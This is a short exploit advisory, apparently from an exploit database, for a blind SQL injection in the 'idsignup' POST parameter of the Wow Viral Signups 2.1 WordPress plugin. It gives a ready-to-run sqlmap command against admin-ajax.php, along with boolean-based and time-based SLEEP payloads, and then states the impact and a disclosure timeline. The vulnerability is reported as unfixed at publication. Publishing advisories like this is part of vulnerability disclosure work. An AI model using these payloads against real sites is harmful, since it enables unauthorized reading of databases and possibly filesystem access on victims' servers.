WordPress Wow Viral Signups 2.1 SQL Injection

Risk: Medium
Local: No
Remote: Yes

# Exploit Title: Wow Viral Signups v2.1 WordPress Plugin SQL Injection # Date: 29/03/2017 # Exploit Author: TAD GROUP # Vendor Homepage: http://wow-company.com/ # Software Link: https://wordpress.org/plugins/mwp-viral-signup/ # Version: 2.1 # Contact: info@tad.bg # Website: https://tad.bg <https://tad.bg> # Category: Web Application Exploits 1. Description An unescaped parameter was found in Wow Viral Signups v2.1 (WP plugin). An attacker can exploit this vulnerability to read from the database. The POST parameter 'idsignup' is vulnerable. 2. Proof of concept sqlmap -u "http://server/wp-admin/admin-ajax.php" --data "action=mwp_signup_send&email=GING%40MAIL.RU&hvost=%3Fpage_id%3D47&idsignup=1" --dbs --threads=10 --random-agent --dbms mysql Parameter: idsignup (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: action=mwp_signup_send&email=GING@MAIL.RU&hvost=?page_id=47&idsignup=1 AND 5272=5272 Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind (SELECT) Payload: action=mwp_signup_send&email=GING@MAIL.RU&hvost=?page_id=47&idsignup=1 AND (SELECT * FROM (SELECT(SLEEP(5)))hXXu) 3. Attack outcome: An attacker can read arbitrary data from the database. If the webserver is misconfigured, read & write access to the filesystem may be possible. 4. Impact Critical 5. Affected versions <= 2.1 6. Disclosure timeline 15-Mar-2017 - found the vulnerability 15-Mar-2017 - informed the developer 29-Mar-2017 - release date of this security advisory Not fixed at the date of submitting this exploit.

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